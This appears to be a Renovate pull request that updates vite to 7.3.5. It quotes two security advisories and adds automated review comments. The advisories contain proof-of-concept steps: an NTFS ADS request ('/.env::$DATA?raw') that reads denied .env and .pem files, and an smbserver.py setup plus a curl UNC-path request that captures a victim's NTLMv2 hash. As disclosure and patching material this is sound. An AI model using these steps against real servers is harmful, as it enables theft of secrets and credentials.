Update npm package vite to v7.3.5 [SECURITY]

[hash-worker]

This PR contains the following updates:

Package	Change	Age	Confidence
vite (source)	7.3.2 → 7.3.5

GitHub Vulnerability Alerts

CVE-2026-53571

Summary

The contents of files that are specified by server.fs.deny can be returned to the browser on Windows.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• the sensitive file exists in the allowed directories specified by server.fs.allow
• either of:
  • the sensitive file exists in an NTFS volume
  • the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes)

Details

Vite’s dev server denies direct access to sensitive files through server.fs.deny, including entries such as .env, .env.*, and *.{crt,pem}. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied.
Because of this, requests such as /.env::$DATA?raw are treated as allowed paths, while Windows resolves them to the original file's default data stream.

Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

Access via browser at http://localhost:5173/.env::$DATA?raw

Example expected result:

• /.env::$DATA?raw returns the contents of .env
• /tls.pem::$DATA?raw returns the contents of tls.pem

CVE-2026-53632

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

• using Windows
• NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
• the user accesses the attackers website that sends request to a middleware using launch-editor
• the server that has the middleware using launch-editor is running
• the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

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Release Notes

vitejs/vite (vite)

v7.3.5

Compare Source

Please refer to CHANGELOG.md for details.

v7.3.3

Compare Source

Please refer to CHANGELOG.md for details.

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Configuration

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This PR has been generated by Renovate Bot.

[cursor]

PR Summary

Low Risk
Patch-only devDependency bump with no repo code changes; residual risk is limited to dev/build tooling behavior on Windows or network-exposed dev servers.

Overview
Bumps the resolved vite dev dependency from 7.3.2 to 7.3.5 (Renovate security update). The change is in the lockfile resolution; the semver range in package.json is unchanged.

This patch addresses CVE-2026-53571 (Windows dev-server bypass of server.fs.deny via NTFS ADS / 8.3 paths) and CVE-2026-53632 (UNC paths in the launch-editor flow that can trigger NTLM hash leakage on Windows). Impact is mainly when the Vite dev server is exposed on the network or when __open-in-editor is reachable on Windows.

^{Reviewed by Cursor Bugbot for commit ff0fadd. Bugbot is set up for automated code reviews on this repo. Configure here.}

[semgrep-code-hashintel]

High severity vulnerability may affect your project—review required:
Line 12882 lists a dependency (esbuild) with a known High severity vulnerability.

ℹ️ Why this matters

Affected versions of esbuild are vulnerable to Download of Code Without Integrity Check / Untrusted Search Path. esbuild's Deno distribution module (lib/deno/mod.ts) contains an import.meta.main CLI entrypoint that calls install() directly when the module is run as a script (deno run https://deno.land/x/esbuild@vX/mod.js). This download path has no SHA-256 integrity verification: if NPM_CONFIG_REGISTRY resolves to an attacker-controlled registry, the fetched binary is executed immediately, yielding arbitrary code execution without any API call in user code.

References: GHSA

To resolve this comment:
Check if you invoke the esbuild Deno module directly as a CLI tool (e.g. deno run https://deno.land/x/esbuild@vX/mod.js) and the NPM_CONFIG_REGISTRY environment variable resolves the binary download to an untrusted registry.

• If you're affected, upgrade this dependency to at least version 0.28.1 at package-lock.json.
• If you're not affected, comment /fp we don't use this [condition]

💬 Ignore this finding

To ignore this, reply with:

• /fp <comment> for false positive
• /ar <comment> for acceptable risk
• /other <comment> for all other reasons

_{You can view more details on this finding in the Semgrep AppSec Platform here.}